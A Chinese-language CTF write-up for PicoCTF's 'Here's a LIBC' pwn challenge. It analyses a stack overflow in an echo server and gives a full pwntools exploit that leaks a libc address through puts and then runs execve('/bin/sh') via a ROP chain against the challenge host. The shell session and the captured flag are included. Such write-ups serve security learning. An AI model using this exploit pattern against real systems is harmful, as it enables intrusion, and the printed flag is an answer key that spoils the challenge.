题目分析
无PIE,有NX,无Canary,一眼疑似栈溢出
[*] "/home/selph/Downloads/PicoCTF/pwn-Here's a LIBC/vuln"
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'./'
给了个二进制程序,逆向看看:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
void *v3; // rsp
char v4; // al
char *v5; // rdi
const char **v6; // [rsp+0h] [rbp-80h] BYREF
int v7; // [rsp+Ch] [rbp-74h]
char v8[40]; // [rsp+10h] [rbp-70h] BYREF
char *s; // [rsp+38h] [rbp-48h]
__int64 v10; // [rsp+40h] [rbp-40h]
unsigned __int64 v11; // [rsp+48h] [rbp-38h]
__gid_t rgid; // [rsp+54h] [rbp-2Ch]
unsigned __int64 i; // [rsp+58h] [rbp-28h]
v7 = argc;
v6 = argv;
setbuf(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
v11 = 27LL;
strcpy(v8, "Welcome to my echo server!");
v10 = 26LL;
v3 = alloca(32LL);
s = (char *)&v6;
for ( i = 0LL; i < v11; ++i )
{
v4 = convert_case((unsigned int)v8[i], i);
s[i] = v4;
}
v5 = s;
puts(s);
while ( 1 )
do_stuff(v5); // vuln function
}
就是个echo服务器,用户输入和处理都在do_stuff函数里
int do_stuff()
{
char v0; // al
char v2; // [rsp+Fh] [rbp-81h] BYREF
char s[112]; // [rsp+10h] [rbp-80h] BYREF
__int64 v4; // [rsp+80h] [rbp-10h]
unsigned __int64 i; // [rsp+88h] [rbp-8h]
v4 = 0LL;
__isoc99_scanf("%[^\n]", s); // 栈溢出
__isoc99_scanf("%c", &v2);
for ( i = 0LL; i <= 0x63; ++i )
{
v0 = convert_case(s[i], i);
s[i] = v0;
}
return puts(s);
}
这里有个接收字符串到局部变量,但是没限制长度,存在栈溢出问题,溢出长度是0x88字节
漏洞利用
溢出的攻击目标
-
Elf:
- 后门函数:没有
- ROP去syscall execve
/bin/sh
:gadgets不够
-
Libc:
- 泄露Libc基地址:可行
- one_gadget:可试
- 基于libc的gadgets去ROP执行execve:可试
要泄露Libc基地址,只需要通过rop跳转去执行puts函数,参数是某个函数的got地址
有了libc,接下来就可以使用libc的gadgets来进行rop了
经过测试one_gadget无法拿到shell,故尝试rop去执行execve
通过ROPGadgets可以搜索libc里的字符串:
ROPGadgets --binary libc.so.6 -string “/bin/sh”
完整EXP:
#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'debug'
FILE_NAME = "./vuln"
REMOTE_HOST = "mercury.picoctf.net"
REMOTE_PORT = 42072
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
b*0x400770
continue
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# ======= helper function ===============
# Calculate the "wraparound" distance between two addresses.
def delta(x, y):
return (0xffffffffffffffff - x) + y
# =======================================
io = start()
io.timeout = 0.1
# =============================================================================
# ============== exploit ===================
pop_rdi_ret = 0x0000000000400913 # pop rdi ; ret
# rop to print put's got
# leak the libc
buf = b"a"*0x88
buf += pack(pop_rdi_ret)
buf += pack(elf.got['puts'])
buf += pack(elf.sym.puts)
buf += pack(elf.sym.main)
io.sendlineafter(b"WeLcOmE To mY EcHo sErVeR!\n",buf)
print(io.recvline(timeout=1))
print(io.recvline(timeout=1))
a = io.recvline()[:-1]
print(a)
a = a.ljust(8,b'\x00')
print(a)
a = unpack(a)
print("puts: "+hex(a))
libc.address = a - libc.sym.puts
print("libc: " + hex(libc.address))
# 0x00000000001b40fa : /bin/sh
#pause()
"""
rax: 0x3b Specify execve syscall
rdi: ptr to "/bin/sh" Specify file to run
rsi: 0x0 Specify no arguments
rdx: 0x0 Specify no environment variables
"""
buf2 = b"b"*0x88
buf2 += pack(pop_rdi_ret)
buf2 += pack(libc.address + 0x00000000001b40fa)
buf2 += pack(libc.address + 0x0000000000043a78) # pop rax
buf2 += pack(0x3b)
buf2 += pack(libc.address + 0x0000000000001b96) # pop rdx
buf2 += pack(0)
buf2 += pack(libc.address + 0x0000000000023e8a) # pop rsi
buf2 += pack(0)
buf2 += pack(libc.address + 0x00000000000013c0) # syscall
io.sendlineafter(b"WeLcOmE To mY EcHo sErVeR!\n",buf2)
# =============================================================================
io.interactive()
运行结果:
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x30 bytes:
b'flag.txt\n'
b'libc.so.6\n'
b'vuln\n'
b'vuln.c\n'
b'xinet_startup.sh\n'
flag.txt
libc.so.6
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x2d bytes:
b'picoCTF{1_<3_sm4sh_st4cking_3a9ee516616d21b3}'